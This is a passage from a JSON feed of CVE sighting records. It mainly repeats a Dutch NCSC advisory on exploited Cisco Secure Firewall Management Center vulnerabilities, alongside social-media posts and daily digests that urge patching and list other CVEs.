staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Csco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de blog Talos voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-12T01:00:40.439732Z"}, {"uuid": "e56cd3b0-135e-4265-80d4-5f1c0605289f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Csco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de blog Talos voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-12T01:00:40.511954Z"}, {"uuid": "b3d6b9e2-248d-446f-8047-54471d77a8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mvceeduib62m", "content": "\u58c1\u3092\u4f55\u53f0\u4e26\u3079\u3066\u3082\u3001\u7ba1\u7406\u30d7\u30ec\u30fc\u30f3\u306e\u8a8d\u8a3c\u304c\u629c\u3051\u305f\u3089\u610f\u5473\u306d\u3047\u3002\ud83d\udc8e\n\nCisco Secure FMC\u3001CVE-2026-20079\u3002\u672a\u8a8d\u8a3c\u3067Web UI\u306b\u7d30\u5de5HTTP\u2192\u30eb\u30fc\u30c8\u76f8\u5f53\u3002CVSS 10.0\u3002CISA KEV\u3001\u9023\u90a6\u306e\u671f\u9650\u306f\u4eca\u65e5\u3002\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2\n#Cisco #FMC #CVE", "creation_timestamp": "2026-09-12T05:36:20.908068Z"}, {"uuid": "a4ffc962-83d0-42e1-ac04-2d73182d4535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mvceeejlw72w", "content": "\u3084\u308b\u3053\u3068\u306f\u5358\u7d14\u3060\u3002\u30db\u30c3\u30c8\u30d5\u30a3\u30c3\u30af\u30b9\u5f53\u3066\u308d\u3002\u56de\u907f\u7b56\u306f\u306d\u3047\u3001\u3068\u516c\u5f0f\u3082\u66f8\u3044\u3066\u308b\u3002\u7ba1\u7406UI\u3092\u5916\u306b\u6652\u3059\u306a\u3002\u7591\u308f\u3057\u3044\u306a\u3089TAC\u3078\u3002\u30d1\u30c3\u30c1\u306f\u3053\u308c\u304b\u3089\u3092\u9632\u3050\u3060\u3051\u3067\u3001\u65e2\u306b\u8e0f\u307e\u308c\u3066\u305f\u3089\u5225\u3060\u305c\u3002\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks\n#KEV #AuthN", "creation_timestamp": "2026-09-12T05:36:21.383940Z"}, {"uuid": "4e2b6ca7-609f-4cba-b0b8-011ea165e3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvch5kxmqv2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85046: 42 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-44756: 19 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85706: 10 interactions\nCVE-2026-72898: 9 interactions\nCVE-2026-20349: 8 interactions\n", "creation_timestamp": "2026-09-12T06:26:14.522297Z"}, {"uuid": "7660aac9-e097-42d9-87dc-56ea0540e2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:00:03.665813Z"}, {"uuid": "70d8f281-b2c3-47c5-bd21-b718abace21d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/UB69c9XOgmUhJLSwQ7xqiXFxT-_pz3EHss8b9ZlOCBJem1Q", "content": "", "creation_timestamp": "2026-09-13T00:00:37.221208Z"}, {"uuid": "5c986f71-ac10-41a0-8337-1a3869b312c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://t.me/shimiscyberworld/1249", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-06\n\n\ud83d\udcca 25 vulnerabilities detected today \u2014 1 \ud83d\udd34 Critical, 24 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-41930 (9.8) \u2014 CVE-2026-41930: Vvveb Docker Hard-Coded Credentials Lead to\u2026\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2026-7841 (8.8) \u2014 GeoVision GV-ASWeb RCE: High-Severity Flaw Affects\u2026\n  \u2022 CVE-2025-31951 (8.8) \u2014 HCL BigFix RunBookAI Vulnerability Allows Command Smuggling\n  \u2022 CVE-2026-20034 (8.8) \u2014 Cisco Unity Connection: Authenticated RCE Via Web\u2026\n  \u2022 CVE-2026-42503 (8.8) \u2014 CVE-2026-42503: gopls Vulnerability Exposes Dev\u2026\n  \u2022 CVE-2026-7875 (8.8) \u2014 NanoClaw Container Vulnerability Allows Arbitrary File\u2026\n  \u2022 CVE-2026-41934 (8.8) \u2014 Vvveb RCE: Authenticated Users Can Achieve Unauthenticated\u2026\n  \u2022 CVE-2026-41938 (8.8) \u2014 CVE-2026-41938: Vvveb Unrestricted File Upload Leads to RCE\n  \u2022 CVE-2024-30151 (8.3) \u2014 HCL BigFix Service Management Privilege Escalation\u2026\n  \u2022 CVE-2026-41936 (8.1) \u2014 CVE-2026-41936: Vvveb XXE Allows File Disclosure, Privilege\u2026\n  \u2022 CVE-2026-6691 (7.8) \u2014 CVE-2026-6691: MongoDB C Driver Heap Overflow via GSSAPI\u2026\n  \u2026 and 14 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:15.397405Z"}, {"uuid": "915c4079-de2a-455f-a024-2de4e76eaab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2052", "type": "seen", "source": "https://t.me/shimiscyberworld/1111", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-2052 \u2014 CVSS 8.8\nCVE-2026-2052: WordPress Plugin RCE Exposes Sites to Contributors\n\nCVE-2026-2052 \u2014 The Widget Options \u2013 Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #remote_code_execution\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-2052 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.404425Z"}, {"uuid": "acd48cad-86bd-402f-a32a-a2a589278c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/gThV_jQpWo9C9Hh6mwOWCdeHifGtlzQmwSFlugdchYu9bYI", "content": "", "creation_timestamp": "2026-09-12T12:00:04.931720Z"}, {"uuid": "c22501dc-471a-4303-bf72-2e13f137948f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/vb_HbJZ8Ujw5fnWngiochmAZa8I4lZqoxzxFFcEpqHmGr7w", "content": "", "creation_timestamp": "2026-09-12T12:00:05.606759Z"}, {"uuid": "1076f9bf-d576-4952-9053-541939466aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117259305886998272", "content": "\ud83d\udcf0 Cisco Firewall Flaws Actively Exploited by Ransomware & State Actors\nCisco warns multiple threat groups, including Qilin ransomware and state actors, are exploiting a critical auth bypass flaw (CVE-2026-20079) in Secure Firewall Management Center (FMC). CVSS 10.0. Patch now! #CVE202620079 #Cisco #Ransomware\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-firewall-flaws-exploited-by-ransomware-and-state-actors/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-09-12T17:43:35.249240Z"}, {"uuid": "27787739-0a4e-4732-81e4-790fd33c5938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mvdmzjxw3k2l", "content": "Cisco warns multiple threat groups, including Qilin ransomware and state actors, are exploiting a critical auth bypass flaw (CVE-2026-20079) in Secure Firewall Management Center (FMC). CVSS 10.0. Patch now! #CVE202620079 #Cisco #Ransomware\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-12T17:44:01.517997Z"}, {"uuid": "d697870d-d636-43cf-8d2d-e947492efe22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/B0GjQGdKvfJNz3pIq4GMdhjHw_2Itc133F7Yfpv0oo-rgxs", "content": "", "creation_timestamp": "2026-09-12T18:00:05.570875Z"}, {"uuid": "10e9c61e-9bf1-4069-86c8-b900cc540e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/UB69c9XOgmUhJLSwQ7xqiXFxT-_pz3EHss8b9ZlOCBJem1Q", "content": "", "creation_timestamp": "2026-09-12T18:00:06.425792Z"}, {"uuid": "e7b5dfa4-44ce-4245-8b28-613ffc8226fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/_rItvzkAb6lBsciRTCFtujZgFYUrYrqXSx0XYWYVwtC5JZw", "content": "", "creation_timestamp": "2026-09-12T22:00:05.143182Z"}, {"uuid": "f13b1895-1290-4b2f-8b3d-abdbab29ea1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/T_rMsyukNMLIKHbA0C4r9u2fTgQRUtuVESraBXhW5QpdP54", "content": "", "creation_timestamp": "2026-09-12T22:00:05.406831Z"}, {"uuid": "a2b08d5b-ab77-40ba-abf2-5ad1cf646e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2052", "type": "seen", "source": "https://t.me/shimiscyberworld/1111", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-2052 \u2014 CVSS 8.8\nCVE-2026-2052: WordPress Plugin RCE Exposes Sites to Contributors\n\nCVE-2026-2052 \u2014 The Widget Options \u2013 Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #high_severity  #remote_code_execution\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-2052 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:05.514496Z"}, {"uuid": "5b761844-e112-44ad-990b-76b9f9c02e31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/B0GjQGdKvfJNz3pIq4GMdhjHw_2Itc133F7Yfpv0oo-rgxs", "content": "", "creation_timestamp": "2026-09-13T00:00:36.357207Z"}, {"uuid": "fdc438a5-5326-4f7e-8f33-5b32c3a8f75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/T_rMsyukNMLIKHbA0C4r9u2fTgQRUtuVESraBXhW5QpdP54", "content": "", "creation_timestamp": "2026-09-13T00:00:06.348201Z"}, {"uuid": "f6b8de4a-4bba-4a4b-9692-e43e50a49cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/_rItvzkAb6lBsciRTCFtujZgFYUrYrqXSx0XYWYVwtC5JZw", "content": "", "creation_timestamp": "2026-09-13T00:00:06.563906Z"}, {"uuid": "67c4fadb-0628-49fc-a6e3-d5d1b3fb2e7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/wJIOJg7zanHnVyyI798_fwaJpOpzvcGiO4zWBe597cvOE_Q", "content": "", "creation_timestamp": "2026-09-13T05:00:04.278148Z"}, {"uuid": "7425f4e0-fe4e-41f6-8150-f93fd46520fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://t.me/shimiscyberworld/1249", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-06\n\n\ud83d\udcca 25 vulnerabilities detected today \u2014 1 \ud83d\udd34 Critical, 24 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-41930 (9.8) \u2014 CVE-2026-41930: Vvveb Docker Hard-Coded Credentials Lead to\u2026\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2026-7841 (8.8) \u2014 GeoVision GV-ASWeb RCE: High-Severity Flaw Affects\u2026\n  \u2022 CVE-2025-31951 (8.8) \u2014 HCL BigFix RunBookAI Vulnerability Allows Command Smuggling\n  \u2022 CVE-2026-20034 (8.8) \u2014 Cisco Unity Connection: Authenticated RCE Via Web\u2026\n  \u2022 CVE-2026-42503 (8.8) \u2014 CVE-2026-42503: gopls Vulnerability Exposes Dev\u2026\n  \u2022 CVE-2026-7875 (8.8) \u2014 NanoClaw Container Vulnerability Allows Arbitrary File\u2026\n  \u2022 CVE-2026-41934 (8.8) \u2014 Vvveb RCE: Authenticated Users Can Achieve Unauthenticated\u2026\n  \u2022 CVE-2026-41938 (8.8) \u2014 CVE-2026-41938: Vvveb Unrestricted File Upload Leads to RCE\n  \u2022 CVE-2024-30151 (8.3) \u2014 HCL BigFix Service Management Privilege Escalation\u2026\n  \u2022 CVE-2026-41936 (8.1) \u2014 CVE-2026-41936: Vvveb XXE Allows File Disclosure, Privilege\u2026\n  \u2022 CVE-2026-6691 (7.8) \u2014 CVE-2026-6691: MongoDB C Driver Heap Overflow via GSSAPI\u2026\n  \u2026 and 14 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:35.349996Z"}, {"uuid": "b56f12da-1d1e-48cf-9724-1a81e201cba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/9Bqrv8ZP59oy0XdEjFhqJDsaUc_BG0GF4QuuonCAaPlSIlQ", "content": "", "creation_timestamp": "2026-09-13T05:00:04.460214Z"}, {"uuid": "df9a34c8-fa7b-46da-afd6-1788941a2d7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/gThV_jQpWo9C9Hh6mwOWCdeHifGtlzQmwSFlugdchYu9bYI", "content": "", "creation_timestamp": "2026-09-13T00:00:52.987154Z"}, {"uuid": "04c24277-6b46-452f-aa61-1357d28a01a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/vb_HbJZ8Ujw5fnWngiochmAZa8I4lZqoxzxFFcEpqHmGr7w", "content": "", "creation_timestamp": "2026-09-13T00:00:53.908235Z"}, {"uuid": "805e3176-0ab4-4c6d-a639-085886a495ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Cisco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de Talos blog voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-13T01:00:32.898496Z"}, {"uuid": "253050ab-e2f8-4028-b43e-b52173ba7d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Cisco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de Talos blog voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-13T01:00:32.759065Z"}, {"uuid": "ed6f7275-195e-4a76-b000-ee1f932fdd38", 